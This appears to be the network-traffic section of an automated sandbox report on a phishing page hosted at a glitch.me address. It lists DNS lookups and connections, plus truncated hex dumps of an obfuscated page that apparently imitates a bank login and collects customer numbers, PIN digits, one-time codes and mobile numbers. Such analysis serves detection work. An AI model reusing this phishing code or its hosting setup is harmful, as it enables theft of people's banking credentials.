May 28, 2024 00:45:23.478746891 CEST	443	49768	142.250.185.132	192.168.2.5
May 28, 2024 00:45:23.522461891 CEST	49768	443	192.168.2.5	142.250.185.132
May 28, 2024 00:45:33.421628952 CEST	443	49768	142.250.185.132	192.168.2.5
May 28, 2024 00:45:33.421720982 CEST	443	49768	142.250.185.132	192.168.2.5
May 28, 2024 00:45:33.421812057 CEST	49768	443	192.168.2.5	142.250.185.132
May 28, 2024 00:45:34.795274973 CEST	49768	443	192.168.2.5	142.250.185.132
May 28, 2024 00:45:34.795310020 CEST	443	49768	142.250.185.132	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 28, 2024 00:44:18.588464022 CEST	53	58060	1.1.1.1	192.168.2.5
May 28, 2024 00:44:18.589719057 CEST	53	56597	1.1.1.1	192.168.2.5
May 28, 2024 00:44:19.677191019 CEST	53	55862	1.1.1.1	192.168.2.5
May 28, 2024 00:44:20.132750988 CEST	53333	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:20.133265018 CEST	65435	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:20.142791033 CEST	53	53333	1.1.1.1	192.168.2.5
May 28, 2024 00:44:20.155272961 CEST	53	65435	1.1.1.1	192.168.2.5
May 28, 2024 00:44:21.211446047 CEST	62534	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:21.211668968 CEST	52305	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:21.213188887 CEST	63117	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:21.213347912 CEST	58852	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:21.221113920 CEST	53	63117	1.1.1.1	192.168.2.5
May 28, 2024 00:44:21.273889065 CEST	53	58852	1.1.1.1	192.168.2.5
May 28, 2024 00:44:21.302881956 CEST	53	52305	1.1.1.1	192.168.2.5
May 28, 2024 00:44:21.311181068 CEST	53	62534	1.1.1.1	192.168.2.5
May 28, 2024 00:44:22.516415119 CEST	60874	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:22.516808033 CEST	58298	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:22.523298025 CEST	53	60874	1.1.1.1	192.168.2.5
May 28, 2024 00:44:22.528045893 CEST	53	58298	1.1.1.1	192.168.2.5
May 28, 2024 00:44:24.810640097 CEST	53	64263	1.1.1.1	192.168.2.5
May 28, 2024 00:44:25.137531042 CEST	57561	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:25.138005018 CEST	60430	53	192.168.2.5	1.1.1.1
May 28, 2024 00:44:25.219096899 CEST	53	57561	1.1.1.1	192.168.2.5
May 28, 2024 00:44:25.221105099 CEST	53	60430	1.1.1.1	192.168.2.5
May 28, 2024 00:44:37.218986988 CEST	53	64896	1.1.1.1	192.168.2.5
May 28, 2024 00:44:56.666544914 CEST	53	62575	1.1.1.1	192.168.2.5
May 28, 2024 00:45:18.177767992 CEST	53	54470	1.1.1.1	192.168.2.5
May 28, 2024 00:45:19.722748995 CEST	53	50881	1.1.1.1	192.168.2.5
May 28, 2024 00:45:45.953658104 CEST	53	59598	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 28, 2024 00:44:21.273979902 CEST	192.168.2.5	1.1.1.1	c212	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 28, 2024 00:44:20.132750988 CEST	192.168.2.5	1.1.1.1	0x3940	Standard query (0)	plastic-fringe-pentagon.glitch.me	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.133265018 CEST	192.168.2.5	1.1.1.1	0xb11a	Standard query (0)	plastic-fringe-pentagon.glitch.me	65	IN (0x0001)	false
May 28, 2024 00:44:21.211446047 CEST	192.168.2.5	1.1.1.1	0x860c	Standard query (0)	eclipse.website.yandexcloud.net	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:21.211668968 CEST	192.168.2.5	1.1.1.1	0xdd83	Standard query (0)	eclipse.website.yandexcloud.net	65	IN (0x0001)	false
May 28, 2024 00:44:21.213188887 CEST	192.168.2.5	1.1.1.1	0xd4f8	Standard query (0)	l2.io	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:21.213347912 CEST	192.168.2.5	1.1.1.1	0x181e	Standard query (0)	l2.io	65	IN (0x0001)	false
May 28, 2024 00:44:22.516415119 CEST	192.168.2.5	1.1.1.1	0xff19	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:22.516808033 CEST	192.168.2.5	1.1.1.1	0x111	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 28, 2024 00:44:25.137531042 CEST	192.168.2.5	1.1.1.1	0xe85c	Standard query (0)	eclipse.website.yandexcloud.net	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:25.138005018 CEST	192.168.2.5	1.1.1.1	0x9d75	Standard query (0)	eclipse.website.yandexcloud.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		34.197.201.171	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		18.210.59.152	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		52.2.135.84	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		3.216.229.220	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		34.197.227.58	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		3.210.41.49	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		44.193.185.113	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:20.142791033 CEST	1.1.1.1	192.168.2.5	0x3940	No error (0)	plastic-fringe-pentagon.glitch.me		3.95.107.114	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:21.221113920 CEST	1.1.1.1	192.168.2.5	0xd4f8	No error (0)	l2.io		195.80.159.133	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:21.302881956 CEST	1.1.1.1	192.168.2.5	0xdd83	No error (0)	eclipse.website.yandexcloud.net	website.yandexcloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:21.311181068 CEST	1.1.1.1	192.168.2.5	0x860c	No error (0)	eclipse.website.yandexcloud.net	website.yandexcloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:21.311181068 CEST	1.1.1.1	192.168.2.5	0x860c	No error (0)	website.yandexcloud.net		213.180.193.247	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:22.523298025 CEST	1.1.1.1	192.168.2.5	0xff19	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:22.528045893 CEST	1.1.1.1	192.168.2.5	0x111	No error (0)	www.google.com			65	IN (0x0001)	false
May 28, 2024 00:44:25.219096899 CEST	1.1.1.1	192.168.2.5	0xe85c	No error (0)	eclipse.website.yandexcloud.net	website.yandexcloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:25.219096899 CEST	1.1.1.1	192.168.2.5	0xe85c	No error (0)	website.yandexcloud.net		213.180.193.247	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:25.221105099 CEST	1.1.1.1	192.168.2.5	0x9d75	No error (0)	eclipse.website.yandexcloud.net	website.yandexcloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:34.340634108 CEST	1.1.1.1	192.168.2.5	0x2731	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:34.340634108 CEST	1.1.1.1	192.168.2.5	0x2731	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:34.845287085 CEST	1.1.1.1	192.168.2.5	0x9398	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:34.845287085 CEST	1.1.1.1	192.168.2.5	0x9398	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 28, 2024 00:44:48.614435911 CEST	1.1.1.1	192.168.2.5	0x91b2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:44:48.614435911 CEST	1.1.1.1	192.168.2.5	0x91b2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 28, 2024 00:45:11.909351110 CEST	1.1.1.1	192.168.2.5	0xcb86	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:45:11.909351110 CEST	1.1.1.1	192.168.2.5	0xcb86	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 28, 2024 00:45:31.257497072 CEST	1.1.1.1	192.168.2.5	0x38e2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2024 00:45:31.257497072 CEST	1.1.1.1	192.168.2.5	0x38e2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

plastic-fringe-pentagon.glitch.me

https:

l2.io

eclipse.website.yandexcloud.net

www.bing.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	34.197.201.171	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:20 UTC	692	OUT	GET /public/n0htu.htm HTTP/1.1 Host: plastic-fringe-pentagon.glitch.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 22:44:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 99926 Connection: close x-amz-id-2: Hefd4OuLycnzD0kcXKtBkfgCEhxX0tlIIuKWhh5c7euWMEDLhLkEipm9RMP/DAMTLvsfoQE/rxt86psdO9shsw== x-amz-request-id: HCZ8NMHKBYJH6MDC last-modified: Mon, 27 May 2024 08:37:08 GMT etag: "93cbd389e2d0740f4f7f57158ea43cfd" x-amz-server-side-encryption: AES256 cache-control: no-cache x-amz-version-id: null accept-ranges: bytes server: AmazonS3
2024-05-27 22:44:21 UTC	1466	IN	Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 6a 61 76 61 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 32 31 44 4f 43 54 59 50 45 25 32 30 68 74 6d 6c 25 32 30 50 55 42 4c 49 43 25 32 30 25 32 32 2d 2f 2f 57 33 43 2f 2f 44 54 44 25 32 30 58 48 54 4d 4c 25 32 30 31 2e 30 25 32 30 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 25 32 32 25 32 30 25 32 32 68 74 74 70 25 33 41 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 25 32 32 25 33 45 25 30 41 25 33 43 68 74 6d 6c 25 32 30 78 6d 6c 6e 73 25 33 44 25 32 32 68 74 74 70 25 33 41 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 Data Ascii: <script language=javascript>document.write(unescape('%3C%21DOCTYPE%20html%20PUBLIC%20%22-//W3C//DTD%20XHTML%201.0%20Transitional//EN%22%20%22http%3A//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd%22%3E%0A%3Chtml%20xmlns%3D%22http%3A//www.w3.org/1999/xh
2024-05-27 22:44:21 UTC	8949	IN	Data Raw: 32 32 74 65 78 74 2f 63 73 73 25 32 32 25 32 30 6d 65 64 69 61 25 33 44 25 32 32 61 6c 6c 25 32 32 25 32 30 73 65 67 6d 65 6e 74 25 33 44 25 32 32 25 32 32 25 33 45 25 30 41 25 33 43 6c 69 6e 6b 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 2f 2f 65 63 6c 69 70 73 65 2e 77 65 62 73 69 74 65 2e 79 61 6e 64 65 78 63 6c 6f 75 64 2e 6e 65 74 2f 6e 70 63 2e 63 73 73 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 73 74 79 6c 65 73 68 65 65 74 25 32 32 25 32 30 74 79 70 65 25 33 44 25 32 32 74 65 78 74 2f 63 73 73 25 32 32 25 32 30 6d 65 64 69 61 25 33 44 25 32 32 61 6c 6c 25 32 32 25 32 30 73 65 67 6d 65 6e 74 25 33 44 25 32 32 25 32 32 25 33 45 25 30 41 25 33 43 6c 69 6e 6b 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 2f 2f 65 Data Ascii: 22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//eclipse.website.yandexcloud.net/npc.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20media%3D%22all%22%20segment%3D%22%22%3E%0A%3Clink%20href%3D%22https%3A//e
2024-05-27 22:44:21 UTC	16384	IN	Data Raw: 25 32 32 25 33 45 43 75 73 74 6f 6d 65 72 25 32 30 6e 75 6d 62 65 72 25 33 43 2f 73 70 61 6e 25 33 45 25 30 41 25 32 30 25 33 43 2f 64 69 76 25 33 45 25 30 41 25 32 30 25 33 43 64 69 76 25 32 30 69 64 25 33 44 25 32 32 74 68 65 63 73 74 6e 75 6d 62 65 72 25 32 32 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 4c 49 35 50 61 64 64 69 6e 67 25 32 32 25 33 45 25 32 30 25 32 30 25 30 41 25 32 30 25 32 30 25 32 30 25 33 43 70 25 33 45 25 30 41 25 33 43 73 70 61 6e 25 33 45 54 68 69 73 25 32 30 69 73 25 32 30 79 6f 75 72 25 32 30 64 61 74 65 25 32 30 6f 66 25 32 30 62 69 72 74 68 25 32 30 25 32 38 44 44 4d 4d 59 59 25 32 39 25 32 30 66 6f 6c 6c 6f 77 65 64 25 32 30 62 79 25 32 30 79 6f 75 72 25 32 30 75 6e 69 71 75 65 25 32 30 69 64 65 6e 74 69 66 69 63 61 74 69 6f Data Ascii: %22%3ECustomer%20number%3C/span%3E%0A%20%3C/div%3E%0A%20%3Cdiv%20id%3D%22thecstnumber%22%20class%3D%22LI5Padding%22%3E%20%20%0A%20%20%20%3Cp%3E%0A%3Cspan%3EThis%20is%20your%20date%20of%20birth%20%28DDMMYY%29%20followed%20by%20your%20unique%20identificatio
2024-05-27 22:44:21 UTC	16384	IN	Data Raw: 55 70 49 63 6f 6e 42 6c 6f 63 6b 25 32 30 4f 4c 45 6c 69 6e 6b 57 49 44 69 73 70 6c 61 79 25 32 30 70 6f 70 55 70 49 63 6f 6e 4c 6f 67 69 6e 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 25 32 33 25 32 32 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 50 69 6e 50 61 73 73 48 65 6c 70 57 69 6e 64 6f 77 25 32 32 25 33 45 46 6f 72 67 6f 74 74 65 6e 25 32 30 79 6f 75 72 25 32 30 50 49 4e 25 32 30 6f 72 25 32 30 70 61 73 73 77 6f 72 64 25 33 46 25 33 43 2f 61 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 64 69 76 25 33 45 25 30 41 25 30 41 25 33 43 64 69 76 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 61 64 64 69 74 69 6f 6e 61 6c 42 75 74 74 6f 6e 50 61 64 64 69 6e 67 25 32 32 25 33 45 25 30 41 25 30 41 25 33 43 2f 64 69 Data Ascii: UpIconBlock%20OLElinkWIDisplay%20popUpIconLogin%22%20href%3D%22%23%22%20target%3D%22PinPassHelpWindow%22%3EForgotten%20your%20PIN%20or%20password%3F%3C/a%3E%0A%3Cbr%3E%3Cbr%3E%0A%3C/div%3E%0A%0A%3Cdiv%20class%3D%22additionalButtonPadding%22%3E%0A%0A%3C/di
2024-05-27 22:44:21 UTC	2406	IN	Data Raw: 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 30 39 25 30 39 76 61 72 25 32 30 69 70 25 32 30 25 33 44 25 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 6e 61 6d 65 25 33 44 25 32 32 69 70 25 32 32 25 35 44 25 32 37 25 32 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 30 39 25 30 39 25 30 41 25 30 39 25 30 39 25 30 39 69 66 25 32 38 64 69 67 69 74 31 30 54 65 78 74 25 32 30 25 33 44 25 33 44 25 32 30 25 32 32 25 32 32 25 32 30 25 37 43 25 37 43 25 32 30 64 69 67 69 74 32 30 54 65 78 74 25 32 30 25 33 44 25 33 44 25 32 30 25 32 32 25 32 32 25 32 30 25 37 43 25 37 43 25 32 30 64 69 67 69 74 33 30 54 65 78 74 25 32 30 25 33 44 25 33 44 25 32 30 25 32 32 25 32 32 25 32 30 25 37 43 25 37 43 25 32 30 66 Data Ascii: 9.value%3B%0A%09%09var%20ip%20%3D%20document.querySelector%28%27input%5Bname%3D%22ip%22%5D%27%29.value%3B%0A%09%09%0A%09%09%09if%28digit10Text%20%3D%3D%20%22%22%20%7C%7C%20digit20Text%20%3D%3D%20%22%22%20%7C%7C%20digit30Text%20%3D%3D%20%22%22%20%7C%7C%20f
2024-05-27 22:44:21 UTC	6053	IN	Data Raw: 33 42 25 30 41 25 30 39 25 30 39 76 61 72 25 32 30 64 69 67 69 74 32 54 65 78 74 25 32 30 25 33 44 25 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 6e 61 6d 65 25 33 44 25 32 32 64 69 67 69 74 32 54 65 78 74 25 32 32 25 35 44 25 32 37 25 32 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 30 39 25 30 39 76 61 72 25 32 30 64 69 67 69 74 33 30 54 65 78 74 25 32 30 25 33 44 25 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 6e 61 6d 65 25 33 44 25 32 32 64 69 67 69 74 33 30 54 65 78 74 25 32 32 25 35 44 25 32 37 25 32 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 30 39 25 30 39 76 61 72 25 32 30 66 75 6c 6c 70 61 73 73 77 6f 72 64 25 32 Data Ascii: 3B%0A%09%09var%20digit2Text%20%3D%20document.querySelector%28%27input%5Bname%3D%22digit2Text%22%5D%27%29.value%3B%0A%09%09var%20digit30Text%20%3D%20document.querySelector%28%27input%5Bname%3D%22digit30Text%22%5D%27%29.value%3B%0A%09%09var%20fullpassword%2
2024-05-27 22:44:21 UTC	16384	IN	Data Raw: 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 6e 61 6d 65 25 33 44 25 32 32 6f 74 70 25 32 32 25 35 44 25 32 37 25 32 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 30 39 25 30 39 76 61 72 25 32 30 6f 74 70 31 25 32 30 25 33 44 25 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 6e 61 6d 65 25 33 44 25 32 32 6f 74 70 31 25 32 32 25 35 44 25 32 37 25 32 39 2e 76 61 6c 75 65 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 76 61 72 25 32 30 6d 6f 62 69 6c 65 25 32 30 25 33 44 25 32 30 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 25 32 38 25 32 37 69 6e 70 75 74 25 35 42 Data Ascii: 20document.querySelector%28%27input%5Bname%3D%22otp%22%5D%27%29.value%3B%0A%09%09var%20otp1%20%3D%20document.querySelector%28%27input%5Bname%3D%22otp1%22%5D%27%29.value%3B%0A%20%20%20%20%20%20%20%20var%20mobile%20%3D%20document.querySelector%28%27input%5B
2024-05-27 22:44:21 UTC	16384	IN	Data Raw: 35 34 35 25 32 35 37 36 25 32 35 36 35 25 32 35 36 45 25 32 35 37 34 25 32 35 34 43 25 32 35 36 39 25 32 35 37 33 25 32 35 37 34 25 32 35 36 35 25 32 35 36 45 25 32 35 36 35 25 32 35 37 32 25 32 35 32 38 25 32 35 32 32 25 32 35 37 33 25 32 35 37 35 25 32 35 36 32 25 32 35 36 44 25 32 35 36 39 25 32 35 37 34 25 32 35 32 32 25 32 35 32 43 25 32 35 32 30 25 32 35 32 38 25 32 35 36 35 25 32 35 32 39 25 32 35 32 30 25 32 35 33 44 25 32 35 33 45 25 32 35 32 30 25 32 35 37 42 25 32 35 30 41 25 32 35 36 35 25 32 35 32 45 25 32 35 37 30 25 32 35 37 32 25 32 35 36 35 25 32 35 37 36 25 32 35 36 35 25 32 35 36 45 25 32 35 37 34 25 32 35 34 34 25 32 35 36 35 25 32 35 36 36 25 32 35 36 31 25 32 35 37 35 25 32 35 36 43 25 32 35 37 34 25 32 35 32 38 25 32 35 32 39 25 32 Data Ascii: 545%2576%2565%256E%2574%254C%2569%2573%2574%2565%256E%2565%2572%2528%2522%2573%2575%2562%256D%2569%2574%2522%252C%2520%2528%2565%2529%2520%253D%253E%2520%257B%250A%2565%252E%2570%2572%2565%2576%2565%256E%2574%2544%2565%2566%2561%2575%256C%2574%2528%2529%2
2024-05-27 22:44:21 UTC	15516	IN	Data Raw: 32 35 37 34 25 32 35 35 42 25 32 35 36 45 25 32 35 36 31 25 32 35 36 44 25 32 35 36 35 25 32 35 33 44 25 32 35 32 32 25 32 35 36 34 25 32 35 36 39 25 32 35 36 37 25 32 35 36 39 25 32 35 37 34 25 32 35 33 32 25 32 35 33 30 25 32 35 35 34 25 32 35 36 35 25 32 35 37 38 25 32 35 37 34 25 32 35 32 32 25 32 35 35 44 25 32 35 32 37 25 32 35 32 39 25 32 35 32 45 25 32 35 37 36 25 32 35 36 31 25 32 35 36 43 25 32 35 37 35 25 32 35 36 35 25 32 35 33 42 25 32 35 30 41 25 32 35 30 39 25 32 35 30 39 25 32 35 37 36 25 32 35 36 31 25 32 35 37 32 25 32 35 32 30 25 32 35 36 34 25 32 35 36 39 25 32 35 36 37 25 32 35 36 39 25 32 35 37 34 25 32 35 33 32 25 32 35 35 34 25 32 35 36 35 25 32 35 37 38 25 32 35 37 34 25 32 35 32 30 25 32 35 33 44 25 32 35 32 30 25 32 35 36 34 25 Data Ascii: 2574%255B%256E%2561%256D%2565%253D%2522%2564%2569%2567%2569%2574%2532%2530%2554%2565%2578%2574%2522%255D%2527%2529%252E%2576%2561%256C%2575%2565%253B%250A%2509%2509%2576%2561%2572%2520%2564%2569%2567%2569%2574%2532%2554%2565%2578%2574%2520%253D%2520%2564%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	195.80.159.133	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:21 UTC	626	OUT	GET /ip.js?var=userip HTTP/1.1 Host: l2.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	167	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 22:44:22 GMT Server: Apache/2.4.38 (Debian) Content-Length: 24 Connection: close Content-Type: text/html; charset=UTF-8
2024-05-27 22:44:22 UTC	24	IN	Data Raw: 75 73 65 72 69 70 20 3d 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 3b Data Ascii: userip = "8.46.123.175";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:22 UTC	572	OUT	GET /master.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	284	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 228718 Connection: close Accept-Ranges: bytes Etag: "2dfd733f065ca6d2369a67ef4983a29c" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 3601e072bbe8dba3
2024-05-27 22:44:22 UTC	16100	IN	Data Raw: ef bb bf 2f 2a 20 0d 0a 54 68 69 73 20 69 73 20 74 68 65 20 6d 61 73 74 65 72 20 73 74 79 6c 65 20 73 68 65 65 74 20 61 6e 64 20 61 73 20 73 75 63 68 20 73 68 6f 75 6c 64 20 70 72 6f 64 75 63 65 20 61 20 27 56 61 6e 69 6c 6c 61 27 20 62 72 61 6e 64 2e 0d 0a 0d 0a 54 6f 20 74 68 61 74 20 65 6e 64 2c 20 61 6c 6c 20 63 6f 6c 6f 75 72 73 20 77 69 6c 6c 20 62 65 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 20 61 6e 64 20 74 68 65 6e 20 6f 76 65 72 69 64 64 65 6e 20 69 6e 20 74 68 65 20 62 72 61 6e 64 20 63 73 73 20 66 69 6c 65 73 2e 0d 0a 0d 0a 54 68 65 72 65 20 77 69 6c 6c 20 62 65 20 6e 6f 20 64 65 66 61 75 6c 74 20 69 6d 61 67 65 73 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2c 20 73 6f 20 74 68 61 74 20 6d 61 79 20 6c 65 61 76 65 20 73 6f 6d 65 20 67 61 70 73 Data Ascii: /* This is the master style sheet and as such should produce a 'Vanilla' brand.To that end, all colours will be black or white and then overidden in the brand css files.There will be no default images in this file, so that may leave some gaps
